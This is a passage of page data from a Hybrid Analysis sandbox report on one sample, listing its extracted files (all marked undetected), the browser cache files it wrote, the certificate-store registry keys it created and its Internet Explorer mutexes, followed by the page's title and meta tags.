dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","dhcpcsvc.dll","sxs.dll","ncrypt.dll","bcrypt.dll","gpapi.dll","msvcrt.dll","imm32.dll","wininet.dll","IPHLPAPI.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"53B03BEE40C746E8FC70731BA2B6902C0FA65CEA_1_.svg","sha256":"02c9e3df5fa43bb01b9b702f1f6bda697b946da1d516699a92388bfc6e5cad2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"ED4B4B67839C89883DD0BCD462FDA54E96FB79ED_1_.svg","sha256":"5ba1988c0124d666326559268701fcf00288e460d5922ec88f9e6634cb829ac4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"urlref_httpsbit.ly3VOA5fd","sha256":"4528209b26ac18543eac46381a27150e0d145fd8537514b701b44339e9c66671","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"QDD7DRNH.txt","sha256":"998e20f7980c94e5f4239b887d6a789b0fa4eafd99783c445eb6a408882a4a19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"3VOA5fd_1_.htm","sha256":"4528209b26ac18543eac46381a27150e0d145fd8537514b701b44339e9c66671","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\3VOA5fd[1].htm","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\ED4B4B67839C89883DD0BCD462FDA54E96FB79ED[1].svg","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\53B03BEE40C746E8FC70731BA2B6902C0FA65CEA[1].svg","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"Local\\MSIMGSIZECacheMutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MSIMGSIZECacheMutex","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}]}},"report_ids":{"sandbox_job_ids":["6389ec1f327cc91d633aed41"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Sample 741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33 | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Threat analysis and detection results for sample 741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33. View antivirus detections, behavioral indicators, and sandbox reports on Hybrid Analysis."}],["$","meta","2",{"name":"robots","content":"noindex, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33"}],["$","meta","4",{"property":"og:title","content":"Sample 741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33 | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Threat analysis and detection results for sample 741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33. View antivirus detections, behavioral indicators, and sandbox reports on Hybrid Analysis."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Sample 741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33 | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Threat analysis and detection results for sample 741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33. View antivirus detections, behavioral indicators, and sandbox reports on Hybrid Analysis."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L30","11",{}]]